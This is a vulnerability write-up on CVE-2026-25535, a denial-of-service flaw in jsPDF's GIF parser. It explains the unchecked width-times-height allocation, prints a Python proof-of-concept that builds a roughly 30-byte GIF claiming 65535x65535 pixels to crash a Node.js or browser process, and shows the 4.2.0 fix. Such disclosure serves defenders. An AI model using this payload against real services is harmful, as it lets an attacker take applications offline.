CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25535

The 4GB GIF: Crashing Browsers and Servers with CVE-2026-25535

Alon Barad
Alon Barad
Software Engineer

Feb 19, 2026·5 min read·40 visits

Executive Summary (TL;DR)

jsPDF < 4.2.0 trusts GIF headers blindly. A 50-byte malicious GIF can claim to be 4GB in size. When jsPDF tries to render it, it allocates memory based on those claims. Result: Instant Out-of-Memory (OOM) crash for Node.js backends or browser tabs.

A logic flaw in jsPDF's bundled GIF parser allows attackers to trigger a massive memory allocation by manipulating image headers. By specifying a canvas size of 65535x65535 in a tiny GIF file, an attacker can force the application to attempt a ~4.3GB contiguous memory allocation, crashing the process immediately.

The Hook: Client-Side PDF Generation is a Minefield

We all love client-side PDF generation. It shifts the compute cost from your expensive cloud servers to the user's browser, and it feels instantaneous. jsPDF is the titan of this arena, powering everything from invoice generators to concert ticket downloads. But here is the thing about parsing binary file formats in JavaScript: it is a high-wire act performed without a safety net.

To support images, jsPDF doesn't just stick a JPEG byte stream into the PDF container; it often needs to decode, analyze, and re-encode image data. For GIFs, it relies on a bundled version of omggif. And like many legacy parsers written in the early days of the Node ecosystem, omggif makes a classic mistake: it trusts the file header.

If I hand you a file that says "I am 10 pixels wide," you believe it. If I hand you a file that says "I am 65,535 pixels wide," a robust library should ask, "Are you sure about that?" jsPDF did not ask. It just opened its mouth and tried to swallow the ocean.

The Flaw: Trusting the Header

The vulnerability lies in how omggif (embedded within src/libs/omggif.js in jsPDF) handles the Logical Screen Descriptor of a GIF file. The GIF format specification defines offsets 6 and 8 as the Logical Screen Width and Height, respectively. These are unsigned 16-bit integers.

This means the maximum value for width or height is 0xFFFF, or 65,535. Now, 65k pixels doesn't sound like that much in the age of 4K monitors, until you do the math on the memory required to store the pixel buffer.

The library calculates the buffer size needed for a frame by multiplying width by height. It does not check if the resulting number is sane, nor does it check if the compressed image data actually contains enough pixels to fill that buffer. It simply reserves the memory upfront. This is a classic "Allocation of Resources Without Limits" (CWE-770), but in the context of a high-level language like JS, it manifests as a hard crash rather than a buffer overflow.

The Code: The Smoking Gun

Let's look at the crime scene in src/libs/omggif.js. The function decodeAndBlitFrameBGRA is responsible for setting up the buffer to decode the GIF frame. Here is the logic prior to version 4.2.0:

this.decodeAndBlitFrameBGRA = function(frame_num, pixels) {
    var frame = this.frameInfo(frame_num);
    // The vulnerability is right here:
    var num_pixels = frame.width * frame.height;
    
    // Allocating the buffer based solely on header math
    var index_stream = new Uint8Array(num_pixels);
    // ... decoding logic follows ...
};

Do you see the issue? frame.width and frame.height are taken directly from the binary parser. If an attacker sets both to 65,535, num_pixels becomes approximately 4,294,836,225.

In V8 (the engine behind Chrome and Node.js), a Uint8Array requires a contiguous block of memory. When the code executes new Uint8Array(4294836225), it is asking the runtime for roughly 4.29 GB of RAM in a single chunk. Even on a machine with 64GB of RAM, V8's heap limit (typically ~2GB to 4GB depending on flags) will likely reject this allocation immediately, throwing a RangeError: Array buffer allocation failed or simply crashing the process with an OOM killer event.

The Exploit: Weaponizing a 50-Byte File

To exploit this, we don't need to generate a valid 4GB GIF. We just need a valid GIF header that lies about its size. The actual image data can be a single empty block. The parser crashes at the allocation step, long before it realizes the image data is missing.

Here is a Python script to generate the "GIF of Death":

# exploit.py
# Generates a GIF with 65535x65535 logical screen size
 
header = b'GIF89a'
width = b'\xFF\xFF'  # 65535
height = b'\xFF\xFF' # 65535
flags = b'\x80'      # Global Color Table Flag set
bg_color = b'\x00'
pixel_ratio = b'\x00'
 
# Minimal color table and trailer to satisfy basic parsing until the crash
payload = header + width + height + flags + bg_color + pixel_ratio
payload += b'\x00\x00\x00' * 2 # Color table
payload += b';' # Trailer
 
with open('death.gif', 'wb') as f:
    f.write(payload)
 
print(f"Generated death.gif ({len(payload)} bytes)")

When a user uploads this file to an endpoint using jsPDF.addImage(fileData), or if a client-side app attempts to render it, the application creates the Uint8Array and dies. In a Node.js server generating PDFs (e.g., for reports), this is a trivial Denial of Service. A single request kills the thread.

The Fix: A Hard Limit

The maintainers fixed this in version 4.2.0 (specifically commit 2e5e156e284d92c7d134bce97e6418756941d5e6) by adding a sanity check. They decided that 512 megapixels ought to be enough for anyone.

// The Fix
var num_pixels = frame.width * frame.height;
 
// Hard limit check
if (num_pixels > 512 * 1024 * 1024) {
    throw new Error("Image dimensions exceed 512MB, which is too large.");
}
 
var index_stream = new Uint8Array(num_pixels);

While 512 million pixels is still a massive allocation (approx 512MB), it is generally within the safe bounds of a V8 heap allocation, preventing the immediate crash. This changes the outcome from "Process Termination" to "Caught Exception," allowing the application to handle the error gracefully.

Official Patches

jsPDFRelease v4.2.0 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Affected Systems

Node.js applications generating PDFs server-sideReact/Vue/Angular apps using client-side PDF generationAny system using `jsPDF` < 4.2.0 with user-supplied images

Affected Versions Detail

Product
Affected Versions
Fixed Version
jsPDF
parallax
< 4.2.04.2.0
AttributeDetail
CWECWE-770 (Allocation of Resources Without Limits)
CVSS v4.08.7 (High)
Attack VectorNetwork (User uploaded image)
ImpactAvailability (DoS via OOM)
Exploit ComplexityLow (Simple file header modification)
Privileges RequiredNone

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-770
Allocation of Resources Without Limits or Throttling

Allocation of Resources Without Limits or Throttling

Known Exploits & Detection

GitHubPoC Python script to generate high-dimension GIF

Vulnerability Timeline

Vulnerability Disclosed
2026-02-19
Fix Merged (v4.2.0)
2026-02-19
CVE Assigned
2026-02-19

References & Sources

  • [1]GitHub Security Advisory
  • [2]Patch Commit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 4 hours ago•GHSA-387M-935M-C4VW
7.5

GHSA-387m-935m-c4vw: Unbounded HTTP Redirections Enable Infinite Loop Denial of Service in Micronaut HTTP Client

The Netty-based HTTP Client in the Micronaut framework fails to enforce a maximum redirect ceiling by default when processing HTTP responses. This permits remote, attacker-controlled servers to trigger continuous, infinite redirect loops. The resulting recursion causes high CPU utilization, thread starvation, and potential memory exhaustion, inducing a Denial of Service (DoS) state in client-side applications.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•GHSA-Q6GH-6V2R-HJV3
8.8

GHSA-Q6GH-6V2R-HJV3: Cross-Origin Credential Leakage in Micronaut HTTP Client

An information disclosure vulnerability exists in the Micronaut Framework's HTTP client components. The client fails to clear sensitive authorization headers and cookies when following redirects across different origins. If an application using the vulnerable client communicates with an endpoint that issues a redirect to an external host, the client will forward the original credentials, leading to potential token theft and session hijacking.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 5 hours ago•GHSA-52VM-MXX8-F227
7.7

GHSA-52vm-mxx8-f227: Arbitrary File Write and Decompression Denial of Service in phantom-audio

GHSA-52vm-mxx8-f227 is a dual-vector security flaw in phantom-audio (<= 1.3.0). The vulnerability allows arbitrary file writes due to unconfined Model Context Protocol (MCP) tool paths when the PHANTOM_OUTPUT_DIR environment variable is not defined. Concurrently, the platform lacks validation controls during the decompression of highly compressed audio files, resulting in resource-exhaustion denial of service and downstream parsing vulnerability exposure.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 5 hours ago•GHSA-C43V-4CR8-6MVP
6.5

GHSA-C43V-4CR8-6MVP: Authenticated Path Traversal in Craft CMS Asset Icon Helper

An authenticated path traversal and arbitrary local file read vulnerability exists in Craft CMS versions 4.x up to 4.17.6 within the assets/icon endpoint and Assets helper classes. By exploiting this vulnerability, an authenticated user can traverse directories and read arbitrary .svg files on the server's filesystem, or execute Stored Cross-Site Scripting (XSS) if they can upload a malicious SVG.

Alon Barad
Alon Barad
4 views•8 min read
•about 6 hours ago•GHSA-86VW-X4WW-X467
8.6

CVE-2026-56382: Remote Code Execution in Craft CMS via Yii2 Event Handler Injection

CVE-2026-56382 is a high-severity remote code execution vulnerability in Craft CMS versions 5.5.0 through 5.9.13. The vulnerability exists within the FieldsController::actionRenderCardPreview() method due to a lack of sanitization of the user-supplied fieldLayoutConfig configuration array, permitting authenticated administrators to register arbitrary PHP callbacks using Yii2 event handler injection mechanisms. This issue has been fully remediated in version 5.9.14.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 7 hours ago•GHSA-382C-VX95-W3P5
6.5

GHSA-382C-VX95-W3P5: Missing Access Control on Profile Endpoint and MCP Tool in Gittensory

An insecure direct object reference (IDOR) and missing authorization validation check in the Gittensory REST API and Model Context Protocol (MCP) server allowed authenticated users to query arbitrary miner profiles, exposing sensitive cryptographic hotkeys and daily financial/economic yields.

Alon Barad
Alon Barad
6 views•6 min read